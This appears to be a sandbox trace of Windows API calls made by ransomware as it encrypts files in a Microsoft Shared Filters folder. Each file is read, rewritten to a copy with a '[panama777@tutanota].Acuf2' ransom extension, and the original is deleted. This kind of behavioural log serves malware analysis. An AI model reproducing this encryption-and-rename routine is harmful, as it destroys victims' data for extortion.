	[0059.334] lstrlenW (lpString=".doc") returned 4
	[0059.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.334] lstrlenW (lpString=".docx") returned 5
	[0059.334] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0059.334] lstrlenW (lpString=".pdf") returned 4
	[0059.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.335] lstrlenW (lpString=".xls") returned 4
	[0059.335] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.335] lstrlenW (lpString=".xlsx") returned 5
	[0059.335] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0059.335] lstrlenW (lpString=".ppt") returned 4
	[0059.335] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.335] lstrlenW (lpString=".zip") returned 4
	[0059.335] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.335] lstrlenW (lpString=".rar") returned 4
	[0059.335] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.335] lstrlenW (lpString=".bz2") returned 4
	[0059.335] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.335] lstrlenW (lpString=".7z") returned 3
	[0059.335] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.335] lstrlenW (lpString=".dbf") returned 4
	[0059.335] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.335] lstrlenW (lpString=".1cd") returned 4
	[0059.335] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.335] lstrlenW (lpString=".jpg") returned 4
	[0059.335] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.335] lstrlenW (lpString=".doc") returned 4
	[0059.335] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.335] lstrlenW (lpString=".docx") returned 5
	[0059.335] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0059.336] lstrlenW (lpString=".pdf") returned 4
	[0059.336] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.336] lstrlenW (lpString=".xls") returned 4
	[0059.336] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.336] lstrlenW (lpString=".xlsx") returned 5
	[0059.336] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0059.336] lstrlenW (lpString=".ppt") returned 4
	[0059.336] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.336] lstrlenW (lpString=".zip") returned 4
	[0059.336] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.336] lstrlenW (lpString=".rar") returned 4
	[0059.336] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.336] lstrlenW (lpString=".bz2") returned 4
	[0059.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.336] lstrlenW (lpString=".7z") returned 3
	[0059.336] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.336] lstrlenW (lpString=".dbf") returned 4
	[0059.336] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.336] lstrlenW (lpString=".1cd") returned 4
	[0059.336] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.336] lstrlenW (lpString=".jpg") returned 4
	[0059.336] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.336] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0059.337] lstrlenW (lpString="odffilt.dll") returned 11
	[0059.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0059.340] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1312656) returned 1
	[0059.340] CloseHandle (hObject=0x18c) returned 1
	[0059.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20
	[0059.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0059.340] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.341] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0059.341] GetLastError () returned 0x0
	[0059.342] ReadFile (in: hFile=0x18c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0059.370] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0059.391] ReadFile (in: hFile=0x18c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x407a0, lpOverlapped=0x0) returned 1
	[0059.416] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x407b0, lpOverlapped=0x0) returned 1
	[0059.424] ReadFile (in: hFile=0x18c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.424] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0059.424] SetEndOfFile (hFile=0x1dc) returned 1
	[0059.424] CloseHandle (hObject=0x1dc) returned 1
	[0059.424] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.424] SetEndOfFile (hFile=0x18c) returned 1
	[0059.427] CloseHandle (hObject=0x18c) returned 1
	[0059.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.428] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1
	[0059.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.428] lstrlenW (lpString=".doc") returned 4
	[0059.428] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.428] lstrlenW (lpString=".docx") returned 5
	[0059.428] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0059.428] lstrlenW (lpString=".pdf") returned 4
	[0059.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.428] lstrlenW (lpString=".xls") returned 4
	[0059.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.428] lstrlenW (lpString=".xlsx") returned 5
	[0059.428] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0059.428] lstrlenW (lpString=".ppt") returned 4
	[0059.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.428] lstrlenW (lpString=".zip") returned 4
	[0059.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.428] lstrlenW (lpString=".rar") returned 4
	[0059.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.428] lstrlenW (lpString=".bz2") returned 4
	[0059.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.428] lstrlenW (lpString=".7z") returned 3
	[0059.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.429] lstrlenW (lpString=".dbf") returned 4
	[0059.429] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.429] lstrlenW (lpString=".1cd") returned 4
	[0059.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.429] lstrlenW (lpString=".jpg") returned 4
	[0059.429] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.429] lstrlenW (lpString=".doc") returned 4
	[0059.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.429] lstrlenW (lpString=".docx") returned 5
	[0059.429] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0059.429] lstrlenW (lpString=".pdf") returned 4
	[0059.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.429] lstrlenW (lpString=".xls") returned 4
	[0059.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.429] lstrlenW (lpString=".xlsx") returned 5
	[0059.429] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0059.429] lstrlenW (lpString=".ppt") returned 4
	[0059.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.429] lstrlenW (lpString=".zip") returned 4
	[0059.429] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.429] lstrlenW (lpString=".rar") returned 4
	[0059.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.429] lstrlenW (lpString=".bz2") returned 4
	[0059.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.429] lstrlenW (lpString=".7z") returned 3
	[0059.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.430] lstrlenW (lpString=".dbf") returned 4
	[0059.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.430] lstrlenW (lpString=".1cd") returned 4
	[0059.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66
	[0059.430] lstrlenW (lpString=".jpg") returned 4
	[0059.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.430] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0059.430] lstrlenW (lpString="offfiltx.dll") returned 12
	[0059.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0059.431] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1486736) returned 1
	[0059.431] CloseHandle (hObject=0x18c) returned 1
	[0059.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20
	[0059.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0059.432] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.432] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0059.432] GetLastError () returned 0x0
	[0059.432] ReadFile (in: hFile=0x18c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0059.455] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0059.475] ReadFile (in: hFile=0x18c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x6afa0, lpOverlapped=0x0) returned 1
	[0059.534] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x6afb0, lpOverlapped=0x0) returned 1
	[0059.545] ReadFile (in: hFile=0x18c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.545] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.545] SetEndOfFile (hFile=0x1dc) returned 1
	[0059.545] CloseHandle (hObject=0x1dc) returned 1
	[0059.546] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.546] SetEndOfFile (hFile=0x18c) returned 1
	[0059.550] CloseHandle (hObject=0x18c) returned 1
	[0059.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1
	[0059.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.550] lstrlenW (lpString=".doc") returned 4
	[0059.550] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.550] lstrlenW (lpString=".docx") returned 5
	[0059.550] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0059.550] lstrlenW (lpString=".pdf") returned 4
	[0059.550] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.550] lstrlenW (lpString=".xls") returned 4
	[0059.551] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.551] lstrlenW (lpString=".xlsx") returned 5
	[0059.551] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0059.551] lstrlenW (lpString=".ppt") returned 4
	[0059.551] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.551] lstrlenW (lpString=".zip") returned 4
	[0059.551] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.551] lstrlenW (lpString=".rar") returned 4
	[0059.551] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.551] lstrlenW (lpString=".bz2") returned 4
	[0059.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.551] lstrlenW (lpString=".7z") returned 3
	[0059.551] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.551] lstrlenW (lpString=".dbf") returned 4
	[0059.551] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.551] lstrlenW (lpString=".1cd") returned 4
	[0059.551] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.551] lstrlenW (lpString=".jpg") returned 4
	[0059.551] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.551] lstrlenW (lpString=".doc") returned 4
	[0059.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.551] lstrlenW (lpString=".docx") returned 5
	[0059.551] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0059.552] lstrlenW (lpString=".pdf") returned 4
	[0059.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.552] lstrlenW (lpString=".xls") returned 4
	[0059.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.552] lstrlenW (lpString=".xlsx") returned 5
	[0059.552] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0059.552] lstrlenW (lpString=".ppt") returned 4
	[0059.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.552] lstrlenW (lpString=".zip") returned 4
	[0059.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.552] lstrlenW (lpString=".rar") returned 4
	[0059.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.552] lstrlenW (lpString=".bz2") returned 4
	[0059.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.552] lstrlenW (lpString=".7z") returned 3
	[0059.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.552] lstrlenW (lpString=".dbf") returned 4
	[0059.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.552] lstrlenW (lpString=".1cd") returned 4
	[0059.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67
	[0059.552] lstrlenW (lpString=".jpg") returned 4
	[0059.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0059.553] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0059.553] lstrlenW (lpString="VISFILT.DLL") returned 11
	[0059.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0059.756] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2124664) returned 1
	[0059.756] CloseHandle (hObject=0x1f4) returned 1
	[0059.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20
	[0059.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0059.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0059.764] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0059.764] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0059.764] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0059.768] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0059.768] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0059.771] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0059.771] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0059.771] ReadFile (in: hFile=0x1f4, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0060.197] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0060.197] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0060.210] SetEndOfFile (hFile=0x1f4) returned 1
